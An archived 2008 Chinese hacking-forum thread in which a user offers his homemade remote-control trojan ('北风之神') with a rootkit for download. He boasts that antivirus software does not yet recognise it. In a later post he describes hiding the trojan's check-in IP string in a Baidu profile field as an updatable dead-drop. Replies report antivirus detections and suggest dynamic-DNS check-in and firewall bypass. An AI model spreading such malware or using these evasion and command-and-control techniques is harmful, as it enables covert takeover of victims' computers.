黑客X档案官方论坛's Archiver

222hoo 发表于 2008-3-2 19:51

自制木马:北风之神远程控制

我的一个实验性质的远程控制木马,在这个世界上出现的时间还不到一天,所以杀毒软件们可能还不知道有这个东西。
功能不算多,比当年的冰河还少点,但也勉强够用了,有自动上线功能,不需要专门一个文件保存上线数据,上线数据只有一句话,可以自己找个网页自己更新,只要网页里有上线的字符串客户端就能读取。
采用了外挂式的rootkit为服务端保驾护航。

下载地址(新浪共享资料):[url=http://iask.sina.com.cn/h/user.php?fixed=ishare&uid=1353667955]http://ishare.iask.sina.com.cn/cgi-bin/fileid.cgi?fileid=3326560[/url]

以后还要制作改良升级的版本,大家多下载多提提意见。

[attach]17479[/attach]

xingzijian91 发表于 2008-3-2 22:27

不错啊
  希望可以超过灰鸽子
    也别忘了写个X专版的哦

zyspld 发表于 2008-3-3 09:57

很遗憾的说,被小红伞杀了
::08:: ::08::

ye_langjun 发表于 2008-3-4 23:06

回复 1# 的帖子

偶下下来看看::04:: ::04:: ::04:: ::04:: ::04:: ::04:: ::04:: ::04:: ::04::

zxcdc 发表于 2008-3-5 19:03

好不好用::04:: ::05:: ::05::

7whitewolf 发表于 2008-3-5 19:07

::32:: ::32:: 可惜给杀了~~~~~~~~~~加油

luozantu 发表于 2008-3-5 19:59

怎么样啊???用黑洞好些::16:: ::12::

cf228 发表于 2008-3-7 14:54

被金山OVER了说::07:: ::07:: ::07::

join 发表于 2008-3-7 15:29

::03:: ::03:: ::03:: ::03:: ::03:: ::03::

小本本 发表于 2008-3-7 16:27

没金币,我郁闷啊..................

lhtkick 发表于 2008-3-9 09:02

回复 2# 的帖子

收藏了 顶你::16:: ::16:: ::16::

222hoo 发表于 2008-3-9 12:55

感谢大家支持我的原创作品。
这个木马软肋我在制作的时候已经知道了,就是rootkit,采用外挂式的rootkit容易被杀,如果服务端不选择”使用rootkit“的话我想应该是查不出来的(文件本身)。
现在在学windows系统理论,等暑假了做个2.0出来。
想超越灰鸽子我觉得是不可能的,他们毕竟是一个强大的团队,我只是一个可怜的业余爱好者。
我这个木马用了5000+行代码,鸽子的代码量超过10万,吨位悬殊。
不过,我觉得我的上线功能比鸽子要简单。是不是有人不会用上线?
测试程序时我用的上线方法:在百度注册一个上线专用ID,在贴吧随便发个贴,然后进入修改个人信息的页面,修改“个人兴趣爱好”,在兴趣爱好里填上生成的上线字符串,保存。然后退出登陆,以匿名身份访问上线ID的贴,点击其名字,进入查看个人信息的页面,查看这个ID的个人兴趣,看到了上线字符串,这个可以看到完整字符串的页面就当做上线页面。
把上线页面地址输入,生成即可。要更新ip,就在百度登陆ID,修改兴趣爱好,删了旧的,写上新的,提交就可以。

zhacker 发表于 2008-3-9 14:20

还可以,继续努力啊,最好修改一下啊!杀毒软件都报毒::29:: ::29::

chenzhiyi 发表于 2008-3-10 12:35

支持原创啊。。。。。。。。。。。。。。。。

a443553420 发表于 2008-3-12 20:12

嗯嗯`

不错哦```
   不过下次请您改成用动态域名上线

232904887 发表于 2008-3-14 13:24

::04:: ::04:: ::04:: ::04:: ::04:: ::04::  很看好它!

失去信仰 发表于 2008-3-14 18:31

卡巴over 
呵呵 继续 努力 ::03:: ::03:: ::07:: ::03::

逆天行 发表于 2008-3-20 09:42

服务端400多K  能小点就好了

那些恶做剧的东东不错

收下了

hyidon 发表于 2008-3-20 10:47

很强嘛用什么写的哦?可穿墙吗?

灰色死寂 发表于 2008-3-20 11:30

还没用呢 。。。 不过看大家的留言。。。我就知道。。。估计是没太大用了

页: [1] 2


Powered by Discuz! 6.1.0  © 2001-2007 Comsenz Inc.